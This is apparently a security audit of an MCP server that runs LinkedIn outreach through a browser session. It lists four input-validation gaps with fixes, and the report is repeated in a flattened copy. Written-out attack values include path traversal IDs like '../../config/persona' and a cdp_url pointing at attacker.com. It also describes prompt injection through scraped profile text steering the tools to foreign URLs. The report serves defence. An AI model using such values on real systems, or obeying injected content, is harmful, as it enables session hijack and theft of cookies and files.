Summary
Four security gaps found in tools/server.py. The most severe is a path traversal reachable through any MCP caller (Claude, cron sweep, or prompt-injected content). No existing guardrail protects against these in the live server.
1. Path traversal in prospect/conversation file tools (High)
_normalize_prospect_id_slug() exists (line 984) and is correctly called in save_connection and schedule_meeting, but is never called before constructing file paths in these tools:
| Tool |
Line |
Raw path |
get_prospect |
1194 |
prospects/{prospect_id}.json |
get_conversation |
1207 |
conversations/{prospect_id}.json |
upsert_prospect |
1573 |
prospects/{prospect_id}.json |
upsert_conversation |
1525 |
conversations/{prospect_id}.json |
save_outreach_report |
1665 |
storage/reports/{prospect_id}.md |
_sync_prospect_outreach_stage |
1070 |
prospects/{prospect_id}.json |
A malicious or prompt-injected prospect_id value of ../../config/persona or ../../config/conversation_planner would read or overwrite core config files outside the prospects/ / conversations/ directories.
Fix: Call _normalize_prospect_id_slug(prospect_id) at the top of each tool and return an error if it returns None. The normalizer already enforces ^[a-z0-9_]+$ and a 200-char cap. Optionally add a path.resolve().is_relative_to(expected_dir) check as a defense-in-depth backstop.
2. No LinkedIn domain validation on profile_url (Medium-High)
All 7 browser-driving tools (scrape_profile, parse_profile, is_first_degree_connection, send_connection_request, send_message, fetch_chat_history, download_profile_pdf) accept any profile_url string and pass it directly to LinkedInBrowser, which navigates the operator's real Chrome session.
Attack vector: Prompt injection via scraped content (e.g., a target's "About" text, a DM message, or a post body) supplies a non-LinkedIn URL. The browser then fetches that URL — leaking cookies, triggering LinkedIn bot-detection on foreign domains, or exfiltrating session state.
Fix: Validate profile_url before each tool calls the browser:
def _require_linkedin_url(url: str) -> str | None:
parsed = urlparse(url.strip())
if parsed.scheme not in ("https", "http"):
return "error: profile_url must be an https LinkedIn URL"
host = (parsed.hostname or "").lower()
if not (host == "www.linkedin.com" or host.endswith(".linkedin.com")):
return "error: profile_url must be a linkedin.com URL"
return None
3. cdp_url parameter is fully user-controlled (Medium)
Every browser tool exposes cdp_url: str = "http://localhost:9222" as a callable parameter with no validation. The Chrome DevTools Protocol endpoint is passed directly to Playwright.
Attack vector: A prompt-injected or LLM-hallucinated value like cdp_url="http://attacker.com:9222" would connect Playwright to a remote CDP server — exposing the browser session externally (SSRF / session hijack).
Fix: Validate cdp_url is a localhost/loopback address before use:
def _require_local_cdp(cdp_url: str) -> str | None:
parsed = urlparse(cdp_url)
host = (parsed.hostname or "").lower()
if host not in ("localhost", "127.0.0.1", "::1"):
return f"error: cdp_url must be a localhost address, got {host!r}"
return None
4. browse_forever reaction type not validated in code (Low)
The browse_forever tool docstring lists six valid reaction values (Like, Celebrate, Support, Funny, Love, Insightful), but the reaction parameter is passed to the browser without any code-level check. An out-of-range value causes undefined browser behavior.
Fix: Add a guard at the top of the tool:
_VALID_REACTIONS = frozenset({"Like", "Celebrate", "Support", "Funny", "Love", "Insightful"})
if reaction not in _VALID_REACTIONS:
return f"error: invalid reaction {reaction!r}; must be one of {sorted(_VALID_REACTIONS)}"
No existing guardrail
There is no middleware, decorator, or input-sanitization layer in tools/server.py today — each tool is responsible for its own validation. Issues 1–3 represent cases where that per-tool responsibility was missed. A shared validation helper (similar to the existing _normalize_prospect_id_slug and _EMAIL_RE) would prevent the same class of bugs from recurring.
Summary
Four security gaps found in
tools/server.py. The most severe is a path traversal reachable through any MCP caller (Claude, cron sweep, or prompt-injected content). No existing guardrail protects against these in the live server.1. Path traversal in prospect/conversation file tools (High)
_normalize_prospect_id_slug()exists (line 984) and is correctly called insave_connectionandschedule_meeting, but is never called before constructing file paths in these tools:get_prospectprospects/{prospect_id}.jsonget_conversationconversations/{prospect_id}.jsonupsert_prospectprospects/{prospect_id}.jsonupsert_conversationconversations/{prospect_id}.jsonsave_outreach_reportstorage/reports/{prospect_id}.md_sync_prospect_outreach_stageprospects/{prospect_id}.jsonA malicious or prompt-injected
prospect_idvalue of../../config/personaor../../config/conversation_plannerwould read or overwrite core config files outside theprospects//conversations/directories.Fix: Call
_normalize_prospect_id_slug(prospect_id)at the top of each tool and return an error if it returnsNone. The normalizer already enforces^[a-z0-9_]+$and a 200-char cap. Optionally add apath.resolve().is_relative_to(expected_dir)check as a defense-in-depth backstop.2. No LinkedIn domain validation on
profile_url(Medium-High)All 7 browser-driving tools (
scrape_profile,parse_profile,is_first_degree_connection,send_connection_request,send_message,fetch_chat_history,download_profile_pdf) accept anyprofile_urlstring and pass it directly toLinkedInBrowser, which navigates the operator's real Chrome session.Attack vector: Prompt injection via scraped content (e.g., a target's "About" text, a DM message, or a post body) supplies a non-LinkedIn URL. The browser then fetches that URL — leaking cookies, triggering LinkedIn bot-detection on foreign domains, or exfiltrating session state.
Fix: Validate
profile_urlbefore each tool calls the browser:3.
cdp_urlparameter is fully user-controlled (Medium)Every browser tool exposes
cdp_url: str = "http://localhost:9222"as a callable parameter with no validation. The Chrome DevTools Protocol endpoint is passed directly to Playwright.Attack vector: A prompt-injected or LLM-hallucinated value like
cdp_url="http://attacker.com:9222"would connect Playwright to a remote CDP server — exposing the browser session externally (SSRF / session hijack).Fix: Validate
cdp_urlis a localhost/loopback address before use:4.
browse_foreverreaction type not validated in code (Low)The
browse_forevertool docstring lists six valid reaction values (Like, Celebrate, Support, Funny, Love, Insightful), but thereactionparameter is passed to the browser without any code-level check. An out-of-range value causes undefined browser behavior.Fix: Add a guard at the top of the tool:
No existing guardrail
There is no middleware, decorator, or input-sanitization layer in
tools/server.pytoday — each tool is responsible for its own validation. Issues 1–3 represent cases where that per-tool responsibility was missed. A shared validation helper (similar to the existing_normalize_prospect_id_slugand_EMAIL_RE) would prevent the same class of bugs from recurring.